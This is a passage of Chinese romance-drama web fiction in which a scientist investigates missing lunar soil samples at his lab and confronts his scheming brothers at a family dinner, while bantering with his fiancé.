“夏季你昨天提前下班之后是去找你对象了对吧?”这人上了年纪,总是容易多操心。 夏季给一屋子人都点了星爸爸,算是对同事一场的告别。 “是的,您别操心,咱们这地方要是安保都能出问题,那国安的那帮人都得重新找工作了。” 就夏季去安保室这半个多小时的功夫,月壤出问题的事情已经在办公室里传遍了。虽然并不是有意传播,但这毕竟不是一件小事,他们作为跟夏季待在一个屋檐下的同事,心里难免会有些想法。 但不管怎么说,既然夏季现在是全须全尾的回来了也算是给大家吃了个定心丸。 于是等夏季点的咖啡送达之后,大家喝着他送的饮料,也都没什么怨言了。 不过关于这件事的后续就不是夏季能打听的出来的。只是听王教授说安保科那边的人又重新复重,并且还把他们实验室的那台精密称重仪给搬走复核了。 “听说可能是咱们实验室的跟安保科那边的称重仪器有误差。”但作为经常跟这种小数点后面好几位数打交道的夏季心里跟明镜似的,这种可能性微乎其微。但安保室里的那一小抔土就是自己昨天严格按照操作流程称重分出来的,不应该出现如此大的误差。 一转眼又闲的混到了下班时间,期间他接到了夏燃的电话,说高嘉丽明天就能出院了,为了感谢他的帮忙,想周末请他跟赵嘉良一起去家里吃个饭。 “夏荣也想来,你要是介意的话,我就把他给拒了。”电话里,夏燃是这么说的。 夏季想了想,“我无所谓,他要来就来吧。只要你们夫妻俩不介意就行。” “瞧你这话说的,我们可不是那种小心眼的人。知道他品行不好以后少来往就行了,但面子上的功夫做做样子得了。”夏燃笑骂道。 夏季应和了两句便挂断了电话,心里却忍不住吐槽,夏燃这人之前还对夏荣恨得牙痒痒呢,心态调解的这么快,这会儿都能跟他做面子工程了。 转头下班的时候夏季把这事儿跟赵嘉良知会了一声,正好周末是Mr威廉先生调解日期的最后一天,夏季跟赵嘉良商量了一下,上午去派出所,正好中午就可以去高家吃饭。 从这天一直到周末,再没有安保那边的人来找过夏季。分给XX大学的月壤少了那么一点点的事情仿佛没有发生过,而眼看着下周一就要按原计划举行正式的交接仪式了,夏季这闲的时候还有心情去给相熟的成衣裁缝定制新衣。而他们项目组上的人这两也走的稀稀拉拉,仅剩下之前那位非常热情的问过夏季的感情状况,产生过给他拉皮条心思的农学教授偶尔还能在办公室跟夏季聊上两句之外,基本上大家都各奔东西,各自归位了。 “林教授,您不也是南方农业大学的吗?怎么王教授都定好机票要回去了,您不着急吗?”要知道他们这些资历的大佬名下可都是有一堆徒子徒孙的,被临时安排到这个项目上来虽然光宗耀祖,但对于师门下面的普通小罗罗们来说,没有师祖的教导日子真的很难过啊~ 林教授是个很和蔼的小阿姨,她虽然法令纹很深了,但总是衣着得体笑容温柔,是那种一般人幻想中最完美的女性长辈形象。 “不着急,我年纪大了身上难免有些毛病。这几天好不容易约到了一个专门看风湿的教授门诊,明天先去门诊看看,看好了再回去。”这算是农学专家的职业病了。 为了更精准的数据,他们常年在试验田里风吹日晒,时间长了难免有些“专业特色”的毛病。 “哦,这样啊。您要注意身体啊。”夏季微笑着关怀了两句,“差不多到下班的点了,我先走了。” 从办公室出来,已经连续下了三天的大雪终于停了。只是化雪之日远比下雪之时更加寒冷。 夏季面上的笑意逐渐凝固,他拢了拢自己的衣领,回头看了一眼这个只待了不到一个月的项目组,转身离开。 而大雪带来的不仅是酷寒的天气,还有越来越近的新春佳节。 好在欧洲人不过春节,所以对于心惊胆战的在看守所里待了三天的Mr威廉来说,过不过节对他不影响。 当夏季陪赵嘉良去派出所谈和解的时候,看着坐在对面瑟瑟发抖的漂亮男人,十分困惑。 “他这是怎么了?冷?”夏季见过人抖,但没见过人抖成这样。 一旁的女警一脸不耐烦的说,“装的吧,昨天我们还特意送他去医院看过,屁毛病没有。” 夏季一听乐了,“心理问题不算问题吗?” 那年轻的女警白眼快翻上天了,棒读似的说,“警察是国家暴力机关,不负责人民群众的心理健康问题。” 她话虽这么说,但从她的行为来看,其实派出所这边对这位Mr威廉先生已经是相当优待了。这或许是有他是外国人的原因,不想引起国际矛盾的考量在内,但派出所这边派出女警来看护他已经非常人性化了。 因为不是当事人,夏季没有被允许进调解室跟对方直接面谈。但想来带着徐律师的赵嘉良是不可能在自己的地界上吃亏的,果然,不到一个小时两人从调解室出来的时候,背后跟着一位哭得楚楚可怜的金发碧眼大美人。 “啧,真可怜啊。”夏季瞥了一眼那人的模样,确实长得不错。即使哭声过于低沉,但这种“洋妞”还是让他成为了整个派出所大厅里不逊于夏季的注目存在。 赵嘉良有些警觉的往前走了一步,挡住了他的视线,指了指你自己还裹着纱布的额头,“你看什么看呢?他能有我可怜?” “你哪里可怜了?我这两天不是身体力行的安慰你了好几次?”夏季好笑的捏住他的下巴,低声道,“你的主治医生跟我说了,你这被打了头之后复健的效果突飞猛进。他甚至都开始怀疑你是不是欠打,今安姐甚至都跑来问我有没有兴趣把你送去他们实验室里暴力研究一下~” “嘶”男人装模作样的抖了抖,“宝贝我错了,不要送我进实验室。” 夏季轻笑一声,这个小插曲就这么轻飘飘的过去了。 在按照约定去高家的路上,赵嘉良跟他说了一下刚刚调解室里发生的事情。 “他动手的原因听起来合情合理,很符合我的LGBT群体的刻板印象,但我觉得有点不对劲。”说到正事的时候赵嘉良便没了嬉皮笑脸的模样,“宝贝,我们的婚礼,可能要稍微延期一丢丢了。” “原因?”坐车的时候喜欢靠在车窗看窗外的夏季坐过头来,淡淡的望着他。 “你不是猜到了嘛”赵嘉良无奈的笑了笑,“可别告诉我你完全没猜到,我可不会信哦。” “夏氏打包附送的那个岛有问题?”有时候夏季的直球打的太直,让赵嘉良都有些招架不住,“你那么讨厌夏燃和夏荣,这次我说要跟他们一起聚餐,你连抱怨都没抱怨一声就一口答应下来了。” “嘿,宝宝还是你了解我。”正事说完,男人的嬉皮笑脸又复发了。 夏季没好颜色的把他扒拉到一边,理了理自己的衣摆,“你是畜生吗?别什么时候都FQ!” “靠。”赵嘉良无奈了,“我是怕你紧张,想帮你缓解一下好不好。” 可夏季才不会信他的鬼话,“紧张?缓解?我特么十八岁就敢一个人单枪匹马去夏家要结果了。现在喻馨没了,他们两个温室里长大的花骨朵还不配让我紧张。” 看着自己长得人比花娇,性格却十分暴躁不好惹的老婆,赵嘉良沉默片刻,问,“所以这次的事情,你想怎么解决。” “解决?”夏季微微笑了笑,羽睫微垂,“阿良,我跟你不一样,我不会因为血缘关系而对任何人手软。有的事情,他们既然做了,就必须死。” 男人的表情再次变得严肃,“抱歉,我明白了。” 说着他又想起了自己那位仍然生死未卜的弟弟,“同样的错误,我不会犯第二次。” 夏燃自从放弃夏氏之后,就直接跟高嘉丽一起搬进了高家位于望京的私人别墅。 这边距离高氏的公司比较近,既方便他上下班又能轻松照顾到家里。高嘉丽的双亲年纪都大了,身体不好,在女儿结婚之后,眼看着女婿可靠能干,老两口就开始热衷于当甩手掌柜。前几年他们还经常满世界飞,在世界各地相看合适的养老居所。除了那个买亏了的太平洋小岛之外,他们在欧洲和北美也都有多处房产,说是等女儿女婿有了自己的孩子,生活步入正轨之后就搬去国外安度晚年,享受慢节奏的田园生活。 也就是喻馨后来因为管不好夏氏,又把夏燃叫回去了,绊住了他们的退休梦。不过现在夏燃重新回来,这老两口便又开始满世界视察他们的养老乐园了。 “夏季。” 当车子稳稳停在高家大门门口的时候,前来迎接他们的并不是屋主人,而是许久未见的周镇川和最近见过了好几次的夏荣。 而出声喊他的,正是周镇川。 四人走近些后,周镇川低头看了一眼正挽着自己手臂的夏荣,又看了眼仿佛宣告主权一般揽着夏季肩膀的赵嘉良,“赵总也来了啊。” 赵嘉良笑的有些嚣张,“周总这种非亲非故的外人都来了,我这个马上就要领证的未婚夫自然也是要来的。” 周镇川的眸色暗了暗,视线落在夏季那张一如他记忆中完美的脸蛋上,却只觉得手臂一痛。 夏荣适时笑眯眯的出声道,“都快别在大门口站着了,这么冷的天~走,进屋去。” 说着,他冲夏季招了招手,仿佛真是跟自己亲密的兄弟打招呼一般,“我跟川哥最近和好了,所以这次聚餐就把他一起带来了,夏季,你们不介意吧?” “我有什么好介意的?”夏季一边往屋里走,一边似笑非笑的瞥了他俩一眼,只觉得这两人真的蛮有意思的。 “不过,你这么快就放弃追求蒋靖川了?之前你为了见他一面就差给我磕头了,看来直男还是不够有吸引力呢。” 周镇川的面上没什么太大的表情波动,但夏荣的表情就非常动态有意思了。 夏季见他一幅几乎是恼羞成怒的模样忍不住笑出了声,“逗你的,你俩锁死。” 跟屋外化雪天的寒冷不同的是,高家别墅里的暖气非常给力,任何一个角落都被烘烤的暖呼呼的,非常舒服。 高嘉丽穿了一身酒红色的天鹅绒材质的家居服,看起来优雅中又不失居家气息,是那种很容易让人心生亲近之感的模样。 夏家三兄弟拖家带口的一起吃饭,这也算是破天荒的第一次了,因此作为主人家的高大小姐对今天这顿饭准备的非常用心。从家里的陈设装饰,和成群结队训练有素的佣人各司其职。 “都来啦?快,先来屋里坐会儿,暖暖身子。”虽是刚刚出院,但高嘉丽的气色不错。她笑着张罗着弟弟们来正厅坐,又是唤来佣人给他们上瓜果饮料,“就当自己家,不要拘束。” 虽然是客套话,但这么说着总会让人心生好感。 这是夏季第一次来高家,他倒是饶有兴致的盯着高家的女佣们看了好久。 “你老看他们干嘛”这些日子吃了不少苦头的夏荣好不容易回到舒适的环境,几乎就要原形毕露了。他优雅的啜了一口茶,见夏季一副没见识的模样盯着佣人看,想也没想的开口问。 “没什么。我就是在想,我妈当年在高家的时候,是不是每天也都跟她们一样忙忙碌碌的。” 他这话一出,直接让坐在沙发上的诸位中有一大半都僵了脸色。 夏季口中的妈妈显然不是喻馨。 事实上,自夏季回到夏家之后,他称呼喻馨为“妈妈”的次数,用两只手就能数出来了。而他那位养母周小芬的身份,就有点儿微妙了。 高嘉丽脸上温柔得体的笑容差点儿没挂住,毕竟当初喻馨买凶杀人,买的那个“凶”就是从他们高家出去的。 来旁人家中做客,却一上来就提这种对大家都不怎么美好的往事,她丈夫这位从农村回来的二弟果然是会做人。 不过当着赵嘉良的面,高嘉丽也完全没有就这个话题继续深聊的意思。 “你们先喝茶,阿燃他有个工作电话,我去看看他那边结束了没有。”说完,她便提着裙摆,袅袅婷婷的离开了。 望着她的背影,夏荣嗤笑道,“你可真会哪壶不开提哪壶,一个佣人养母是什么很光彩的事情吗?” “你都以杀人犯亲妈为荣,我这个有勇有谋的养母不是比她厉害多了?”单论耍嘴皮子,夏荣只能是自取其辱。 “你!”他凶狠的瞪了夏季一眼,却在触及赵嘉良目光的瞬间又熄了火。 “哼,你别以为你还能得意多久!”十分不开心的夏荣把茶杯用力的往桌上一放,气呼呼的走了。 而坐在他姨一旁的周镇川完全没有跟过去关心一下的意思。不难看出,夏荣口中的“和好”,可能跟实际情况有些出入。 看着这一屋子奇奇怪怪的情况,赵嘉良往沙发上一靠,伸了个懒腰,“呵,你们这一家子真有意思啊。” 两人不约而同的望着对面依然正襟危坐的周镇川,这时候赵嘉良才注意到,这位跟自己眼光类似的仁兄看着有点儿坐立难安。 “夏季”从刚才开始,周镇川就一副欲言又止的模样。但很显然有的话他并不想当着夏荣或者高嘉丽的面说,“夏季,我们能单独聊聊吗?” “呵,周总,你当我是死的吗?”赵嘉良一挑眉,目光不善。 对于这位从一开始就一直觊觎自己漂亮老婆的家伙,他可从来没给过好脸色。要不是周镇川跟夏荣结婚结的早,或许很早以前赵嘉良就该对他动手了。但这次车祸醒来之后,在得知周镇川这段时间的作为之后赵嘉良可没少给他使绊子。这短短半个多月的时间,周氏的股价已经蒸发许多,若不是其中尚有一些千丝万缕的利害关系,或许周镇川的家主之位都快要坐不稳了。 “夏季,求你了,我想跟你单独谈谈。”一般来说周镇川是不愿意跟赵嘉良正面杠上的,但这次,他很坚持。“这件事真的很重要。” 夏季微微一笑,“行啊,既然你求我了,那我们聊聊。” “什么?!”赵嘉良直接从沙发上崩了起来。 而夏季则是冲他使了个眼色,“阿良你先出去,十分钟之后再回来。” 他的这个发言让两个男人都很不满。一个是觉得十分钟太长,而另外一个是觉得十分钟太短。 但两人非常默契的却是,他们都不太敢置喙夏季的决定。 所以在恶狠狠的给了周镇川一个警告的眼神后,赵嘉良还是一步两回头的出去。 “说吧,你有什么很重要的事情要说?”夏季长腿交叠,歪了歪脑袋,“让我先猜一猜吧,你是不是准备告诉我,夏燃其实不可信?” “还是良心发现的,想要帮我从他们设好的陷阱里拉我一把?” 第83章 “夏季, 你”周镇川这是真的瞳孔地震了。 夏季只觉得他的表情生动到十分有趣。 他支着下巴却是一副心情不错的模样,“为什么这么震惊?你跟夏荣好歹也是夫夫一场这么多年了,他是什么水平的人你心里一点儿没底吗?” 周镇川沉默了片刻, 苦笑道, “我当然了解他,但我想我更了解你。” “当初你十八岁孤身一人回夏家的时候我当时还没什么感觉,但这些年每每想起当年的事情我都挺佩服你的勇气。你既然对夏家的亲情并不报以期盼, 又为什么非要回来趟这一趟浑水?” “我姓夏,这是我家。”夏季轻笑一声,“我回我自己家,还需要什么原因吗?” 周镇川最看不懂就是夏季的配得感。 即使如今这么多年过去了, 他每每回想起来都理解不了为什么夏季一个从山坳坳里出来的年轻人能在京市夏家这种迷人眼的花花世界里依然保持本心。 “你什么时候知道夏燃和夏荣的事情的?”周镇川还是有些不可置信。他自认为自己并不愚蠢,在夏荣找到他的时候, 他第一反应就是觉得夏季这次恐怕真会在劫难逃。在经过了一番思想斗争后,周镇川还是想提醒一下夏季。可如今看来, 夏季似乎知道的比自己这个外围人员还要多。 但夏季解答了他的疑惑, “因为很小的时候就有人告诉过我, 想要成为一个优秀的科学家不仅要有聪明的头脑还要有理性的思维分析能力。” 夏季两手一摊,“你看我好歹在夏家待了这么多年了,就是在一旁冷眼看着也好歹该搞清楚这一家都是些什么牛鬼蛇神了。” “虽然我不知道你是出于什么心态在跟夏荣和好的同时又要跑来跟我献殷勤, 不过既然这是你的选择,我姑且承了你的情。” 周镇川脸上的笑意愈发苦涩, 他低声说, “虽然现在我什么都迟了,但夏季你真的不能原谅我吗?我” 只是他话还没说完就被夏季打断了,“我原谅你了,我结婚的时候会给你发请帖的。” 赵嘉良掐着手机秒表盯着手机屏幕的时候, 高嘉丽已经把夏燃给喊下楼了。 “赵总你怎么杵在这儿?”客厅的大门紧闭,赵嘉良就站在这两面透风的过道上,一脸苦大仇深。这饶是刚刚还在跟高嘉丽商量重要事情的夏燃都忍不住产生了好奇心,“夏季呢?” “跟周镇川在说事情。”赵嘉良头也没抬。 只见秒表的十分钟倒计时一到,他立刻一把推开会客厅大门。 他的动作之大把几人都吓了一跳。 “你拆家呢?在别人家做客,老实点儿。”要怪就怪赵锋锐当年对这个嫡妻所出的长子太过于放纵,以至于在赵嘉良这人在某些做派上还没有夏季这个乡下出来的“金丝雀”体面。 高嘉丽倒不是真心疼自家的红木大门,只是看这屋里气氛不对,赶紧打起了圆场。 “没事的没事的,都是一家人嘛。”说着,她又左右张望了一下,“诶?小荣呢?” 夏季站起身,幽幽道,“被我气跑了,不知道跑哪儿去了。” “你倒是实诚。”高嘉丽捂唇轻笑,“都是刚哥哥的人了,还是小孩子性子。” 夏季也是跟着笑了起来,“我不是小孩子性子,我只是单纯小心眼罢了。毕竟不像嫂子您这么大度,能跟杀了自己几个孩子的凶手的儿子称兄道弟。” 话说到这个份儿上,饶是高嘉丽有心维持着一团和气,面上也有些挂不住了。 最为疼爱妻子的夏燃也是沉下脸来,低声呵斥,“夏季!之前喊你来吃饭的时候就跟你打过招呼,说了夏荣要过来的,你当时自己说没问题的!现在拿这种事情发难有意思吗?” 关于护妻这种事情,夏燃干的理所当然,赵嘉良自然也不甘人后。 被Mr威廉小姐用杯子砸过头之后,他这几天的身体协调性好了很多,动作起来也是迅速灵敏。夏季只是几个眨眼的功夫就被男人牢牢的护在身后,赵嘉良笑眯眯的说,“怎么了怎么了这是?都是弟弟,夏总当大哥的可不能厚此薄彼啊。” 气氛这么尬住的时候,周镇川忍不住站起身来,“内个,时间也不早了,我去喊夏荣过来吃饭吧。” “行,我去跟厨房说一声。”高嘉丽温柔的拍了拍丈夫的手臂,轻轻的冲他摇了摇头。 夏燃瞥了赵嘉良一眼,没再做声了。 夏季这个人就是这样,他想跟你好好相处的时候,总是会用他那迷惑性极强的漂亮笑容把人迷得晕晕乎乎的,产生一种“我们关系”不错的错觉。就连夏荣本人这几天主动低声下气的往夏季身边凑时,也难免会产生一种:夏季其实挺好说话的,只要不提及喻馨的事情好好认错,他或许也能当我靠山的错误认知。 但是当夏季一旦懒得跟人虚与委蛇的时候,他的那张小嘴儿就跟淬了毒似的,说话难听到连阴阳人的感觉都没有了。 为了好好招待赵嘉良和夏季,高嘉丽今天这顿饭确实是花了不少心思的。 她听说过夏季嘴很叼,夏园每个月的食材采购经费是普通豪门世家的五倍还不止。因为担心外面的饭店夏季吃不惯,她还是特地让家里的老厨师精心定制的菜单。具体的菜肴更是她事先每一道都仔细品尝过,确定没问题才在今天端上桌的。 而夏季走进餐厅的时候,看着大圆桌上色香味俱全的丰富菜品,难得的说出了一句还算中听的话。 “嫂子费心了。” 高嘉丽笑着挽了挽鬓边的碎发,优雅的笑道,“你能不嫌弃就好。” 周镇川和夏荣是在他们都落座之后才过来的。 相较于夏燃高嘉丽,和夏季赵嘉良之间的和谐气氛,夏荣周镇川说是怨侣也不为过。 毕竟都是离婚夫夫的关系了,时至今日他俩还能坐在一起吃饭也只能说是孽缘未尽。 不过按照现在的这个情况发展,他俩的孽缘怕是一时半会儿都尽不了。 饭桌上,夏燃先问了他最关心的,承诺要为高嘉丽调理身体的那位妇科圣手的情况。 “她老人家一把年纪了还要为我们的事情操心,不表示表示我们心里也过意不去。” 高嘉丽如今能够健康出院人家也是出力不小,再加上后面还有求于人虽说给医生送礼是被严令禁止的,但只是拜托一位退休老教授帮忙调理身体,连治病都算不上,其实也能钻一下空子。 “嗯,你们的事情你们自己拿主意就行,我都没见过那大夫,给不了什么建议。”虽然夏季对高家仿佛是有点意见的,但不得不说她家的厨子手艺确实不错,都快赶上夏园了。 见他没有明确表示反对,夏燃也就没有继续说下去了。本来人是夏季引见的,他也就是打个招呼,知会他一声而已。 后面吃饭的过程还算平和。说起来这其实也不是他们这帮人第一次坐在一起吃饭了,似乎在没了喻馨这个敏感人物的存在之后,这三兄弟之间竟然能在明面上保持住基本的平和。 不过相较于夏燃跟赵嘉良的殷勤伺候老婆吃饭,周镇川默默吃饭,对夏荣完全不闻不问的模样难免让夏荣有些难堪。 他几次想摔筷子,但也许是今时不同往日,又或者夏荣心里还有什么其它的顾虑,最后还是强忍了下来。不过他时不时望向夏燃的方向,似乎有些欲言又止? 期间高嘉丽又热心的关心了一下夏季跟赵嘉良的大事。 “听说你们准备要结婚了,是也准备搞海岛婚礼吗?现在准备的怎么样了?”高嘉丽一边优雅用餐一边笑眯眯的同夏季他们话家常。 一说婚礼这事儿赵嘉良就来气,不过他之所以建议夏季搞海岛婚礼也确实是受了夏燃和高嘉丽当年那场浪漫海岛婚礼的影响。只是如今他的婚礼筹备工作进行的十分不顺,如今高嘉丽问了,他也就顺势询问了一下对方当初筹办婚礼的细节。 作为过来人,高嘉丽显然经验丰富。 “其实当初结婚的时候我跟阿燃也是顶着很大压力的。你们都知道,他母亲并不喜欢我,一直不支持我们的结合。而我的父母”高嘉丽委婉的苦笑了一下,“我的父母亲疼我,担心我婚后会被婆家为难,其实也不是很支持。” 但高嘉丽十分坚持,最后他们做父母的还是没有拗过孩子。而当时夏燃因为被喻馨剥夺了夏氏继承人的身份,正在跟夏家人割裂阶段,也无暇亲自操持婚礼。可以说他们的婚礼大部分都是高嘉丽的父母在安排。而作为疼爱独生女的父母,他们对女儿的喜好比较了解,于是整个婚礼流程还是比较符合大部分年轻人的审美。高嘉丽除了对那座岛过于潮湿,会引得自己过敏的太平洋小岛不甚满意之外,也没什么可抱怨的。 对此,夏季也是直截了当的提出了问题,“嫂子是独生女,听说你爸妈很疼你的啊,怎么选了个气候潮湿,可能导致你过敏的地方办婚礼?” 第84章 说实话, 以赵嘉良他们这个圈层里,只要一个孩子的世家真的很少。绝大多数明面上的独生子女都跟赵嘉良本人差不多,名义上是老X家的独生嫡孙, 但亲爹外面的弟弟妹妹一生一大把。 但高家不同, 高嘉丽的父母少年夫妻,这么多年过来一直都是圈里的一股清流般的存在。 他们几十年如一日的恩爱不移,不多生孩子也是不想让孩子过多耗费伴侣的精力而疏忽了彼此。他们这样的想法又何尝不是另外一种形式的“恋爱脑”呢? 夏季对高嘉丽父母选择的生活方式没有任何意见, 只是从他们这个和谐家庭做出的很多事情总会给人一种不符合逻辑的违和感。尤其是喻馨进去之后,夏燃跟夏季的关系缓和。也就是之前夏季跟夏燃实在不怎么熟,他才从来没深思过这些违和感。可当夏季一旦开始跟夏燃兄友弟恭起来,夏燃这人身上挥之不去的虚伪感甚至有时候会让夏季觉得他就跟个伪人似的。 “夏季你什么意思?”听他这么说, 夏燃也终于是有些忍无可忍的,“啪”的一声放下筷子。 一旁的高嘉丽被吓了一跳似的, 赶紧轻轻拍了拍丈夫的手臂,随即又向对面的赵嘉良投去了求助似的目光。但对方就好像完全get不到她意图似的, 还在一个劲儿的给夏季剥他爱吃的虾。男人手上动作麻利, 不一会儿时间面前的碗里那虾肉就堆成小山似的, 一点儿看不出这人一个多月之前竟然还是个躺在医院ICU里的,动弹不得的植物人。 不过这些小细节,在场诸位也无人在意就是了。 而原本下楼比较晚, 错过了之前对话的夏燃这时候就是再迟钝也是听明白了。 “夏季,你有话不妨直说, 没必要拐弯抹角的阴阳人。” 夏季从赵嘉良面前的碗里轻飘飘的夹了只虾仁放在自己碗里, “我倒是想直说,可大哥总是拐弯抹角的,让我感到很难办。” “什么意思?”夏燃脸色沉了沉。 夏季似笑非笑道,“行, 其实今天过来我心里也是有个疑影想搞清楚的。” “前几天我实验室的标本质量出现了问题,院里的安保科调查之后显示是我的安全密钥在下午临近下班的时间刷过权限。但我的秘钥一直在我的工卡卡套里,从未离过身。”说着夏季仿佛意有所指瞥了一眼忽然就坐直了的夏荣。 在察觉到他的视线后,夏荣又一秒切换回原本傲慢的模样,反而瞪了回去。 夏季冷笑了一下,重新望向夏燃,在大家都毫无防备的情况下,就这么直截了当的把这个敏感的问题问出口了,“我记得高家就是做电子数码的,听说之前一直在做无接触扫描技术的开发” “你怀疑我?”夏燃眉头紧锁。 从他握紧的双拳不难看出他的情绪有些不对劲,而原本一直保持优雅维持体面的高嘉丽也是终于忍不住开口,“夏季,你说话可是要讲良心的。之前喻馨在家里当大家长的时候我们虽然没有对你多有维护,但至少也从来没有落井下石吧。你之前在保密项目的时候我们连沾都没沾过你,现在喻馨不在了,我们年纪也都大了,不再是孩子了,想着还是要维护一下亲情这才跟你们多走动的。” 说着她也是一副真生气了的样子别过脸去,“把我们当什么人了,真是的” 这顿饭在夏季的这么一折腾,可以说是不欢而散。 只是当夏季和赵嘉良告辞之后,这偌大的高家别墅中剩下的四人都是各自心怀鬼胎。 还没有从夏季直接在饭桌上挑破话题的震撼中回过神来的周镇川简直风中凌乱了。他想给夏季通风报信不假,但他万万没想到的是夏季本来就是奔着戳破这一团和气的兄友弟恭而来的。 “川哥,刚刚我出去之后,你跟夏季在客厅里单独说什么了?”夏荣的脸色着实算不上好。 刚刚夏季在饭桌上的一席话,吓得他差点儿筷子都要掉了。虽然他一早就有思想准备,也知道夏季这种绝顶聪明的人可能会反应很快。但夏荣没有想到的是,夏季竟然会选择在这样一个时间,这样一个场合下直接发问。虽然夏荣在某些方面并不够伶俐,但结合今天发生的事情,他的第一反应还是怀疑自己曾经的枕边人。毕竟周镇川这家伙,早已是劣迹斑斑。 夏燃的脸色更差了几分,“周镇川?怎么回事?” 说实话,若不是夏荣极力想拉周镇川入伙,夏燃甚至根本没想过要找周镇川。只是考虑到后期的巨大花费,以及周镇川最近被赵嘉良打压的喘不过气。夏燃寻思着敌人的敌人就是朋友,谁知道他们这才刚跟周镇川说明了一部分情况,拿到他的出资之后,这人就要整幺蛾子了。 刚在夏季面前当过小丑的周镇川简直被气笑了,“怎么?怀疑是我跟夏季说了不该说的话?” “我倒是想跟夏季表忠心呢,问题是我特么有那个机会吗?你们不是想知道我跟夏季在客厅说啥了吗?”他嘲讽的瞥了一眼夏荣,“我就是准备跟他表忠心,可夏季一上来就挑明了,他一早就看出了问题,今天就是特意来说这事儿的!” 说着周镇川又转头正色对夏燃说,“按照我们之前的约定,一旦情况有变我有权利退出。现在,我要退出。” 高嘉丽有些紧张的伸手攥了攥丈夫的衣袖,夏燃安抚性的拍了拍她的手,给了她一个“别担心”的眼神。然后转头问,“夏季是怎么跟你说的?你为什么不早跟我们说?” 周镇川有些好笑道,“我一个只负责给钱分红的人,哪里知道你们干的是什么杀头的买卖?我连你们具体怎么操作的都不知道,夏季就更不可能跟我说那些细节的事情,你特么的还指望跟你们通风报信?我报什么内容都不知道!” 本就脆弱的联盟,在夏季几乎没有说什么实质性内容的情况下,几乎就要分崩离析。 而从高家出来之后的夏季其实也没比夏燃好到哪儿去,在车上的时候赵嘉良就已经快把他闹腾的不行了。 “夏季!出了这么大的事情你不跟我说,你到底把我当成什么了!”别看在高家的时候赵嘉良一副最佳背景板,为夏季撑腰。在外人面前,赵嘉良心里就是有天大的意见也绝不会不给夏季面子,甚至他时常还过于给夏季面子,因此招致一些柠檬精对夏季这个“金丝雀”的处境格外的酸。 可真当从人前到了人后,赵嘉良忍不住原形毕露了。 “我们在一起这么多年了,难道你还信不过我吗?你在单位出了这么大的事情,我竟然还是在你上门找夏燃那帮人兴师问罪的时候才最后知晓这事儿!” 赵嘉良跟夏季刚在一起的时候偶尔也会吵架。不过赵总从小矜贵,脾气大的很。但他的那种脾气大放在夏季面前就不够看了,因为夏季身上总有一种他们这种大少爷没有的狠劲儿,每次赵嘉良发火大喊大叫的时候,夏季只用一个恶狠狠的眼神就能让那家伙噤声。久而久之,赵嘉良只要因为夏季的事情有脾气了,也不敢拍桌子摔椅子,只能气鼓鼓的揪头发了。 好在赵嘉良从赵峰瑞那儿继承到的唯一优点就是头发茂密,又黑又硬,就跟他对外人的脾气一样。被他这么用力的揪几下竟是一根毛都不掉。 毕竟稍有理亏的夏季这次倒是没瞪他,反倒觉得有些麻烦似的,像是安抚道,“我没有信不过你,只是之前事情没有定论,按照安保要求我不能对非相关人员泄露具体情况。” 他的话说的有理有据,而几年前赵嘉良也确实因为夏季的保密项目而自己一无所知而跟他吵过架。每次只要夏季一说这种话,他就立刻泄了气。 “说到底还是我没用,我要是能有钱到把科学院买下来,跟你有关的所有事情我都能第一时间知道了!” 赵嘉良这话把夏季逗笑了,“你就是再有钱也不可能把科学院买下来,国家不会卖的。” 眼看赵嘉良陷入沉思,夏季知道这个脑子活络,又极度恋爱脑的家伙肯定开始动脑经了。他拍了拍男人的肩膀,打断他的思绪道,“出门前没跟你交个底是因为我也只是心里有个怀疑,并未有证实所以不想乱带人节奏。不然你在饭桌上肯定没什么好话,不过刚我试探了一下,夏燃的态度挺微妙的。” 赵嘉良沉默片刻,“你觉得你们单位的事情跟夏燃有关?有头绪的话这种事情应该很好查吧。” “真要好查的话,就不会时至今日连撞你的那个人到底是谁联络安排的都查不到了。”夏季冷笑两声,但赵嘉良从他漂亮的侧颜中还是捕捉到了一闪而过的杀气。 “不过我有预感,你跟林教授的车祸很快就会有结论。不过现在你是不是应该陪我去选一下礼服?明天我可是有个非常重要的国家级盛宴要出席~” 给漂亮老婆选衣服曾经是赵嘉良某一段时期最爱的活动。 那段时间他甚至还灵光一闪的给某个国内二次元乙游工作室投资了一大笔钱,就是因为他们开发的男主版“某暖”游戏深得他心。毕竟那款游戏实在太能满足他不方便每天给老婆的衣服脱了穿,穿了脱的念头了。而这个他灵机一动的首次游戏投资也给赵嘉良确实带了相当可观的经济收益就是了。 “宝贝我可太乐意帮你选衣服了~”赵嘉良握住他的手,放在唇边亲了亲。 禁欲系的白大褂虽然好吃,但偶尔能来点儿低调的优雅也很不错。 夏季平日上班都是制式的白大褂,有时候做实验还要换专门的防化服。 但他内搭的常服都是赵嘉良一手包办的,没有logo没有吊牌,看不出材质和价格。再搭配上夏季套个麻袋都好看的脸蛋儿,他的日常穿搭除了会给人一种“卧槽真好看”的感觉之外,倒并不会给人任何奢靡的距离感。当然,这也仅仅只是感觉而已。 实际上夏季的所有衣服都是赵嘉良高薪从欧洲那边挖来的前御用裁缝工作室。他高薪养着这帮人,而这帮人每天的工作除了制作一些夏季可能好几年都穿不过来的新衣之外,就是为夏季的身材气质量身打造新衣。当然,如今这帮人的工资赵嘉良已经发不起了,都改从夏季的账上拨款了。 不过能给夏季选新衣,对赵嘉良来说那绝对是美差。 于是车子拐了个弯,直接绕到了位于夏园并不算远的裁缝工作室。提前接到消息的工作人员一早就准备妥当,待主人家抵达之后,他们很快便识趣的关门离开了。 在宽大奢华的试衣间里。在一堆林立的,做工精致的假人模特之中,赵嘉良挑选了一套最符合自己审美的纯黑色礼服推到跟前,“我喜欢这套。” “宝贝儿,要不先把外套脱了?咱们试试新的?” 他们这一趟挑选新衣足足挑了近两个小时,赵嘉良才被迫意犹未尽的回了家。 夏季一般是从来不惯着赵嘉良的贪婪。也许是因为今天在工作的事情上有些理亏,他还是小小的纵容了一下这家。而极为擅长蹬鼻子上脸,得寸进尺的他今天也没能撒野太久。在结束了正事之后两人就直接回了夏园。 “后天院里的交接仪式你也来吧。”回家的路上,夏季是这么跟赵嘉良说的,“你虽然不是内部人员,但明年的捐款我已经替你交过了。作为全网的知名爱国企业家,一起来露个脸吧。” 赵嘉良对所有能跟夏季一起出席的正式场合都来者不拒。 他刚应下,车子就突然停了下来。 “赵总,夏先生,到夏园门口了,前面有两个车子挡了道,我们先下车去看看。”坐在副驾的保镖忽然又道,“这俩车下午我在高家停车场看到过,应该是高家的人来了。” 说话间,那两台阻碍他们进门的车子上下来了一个人。 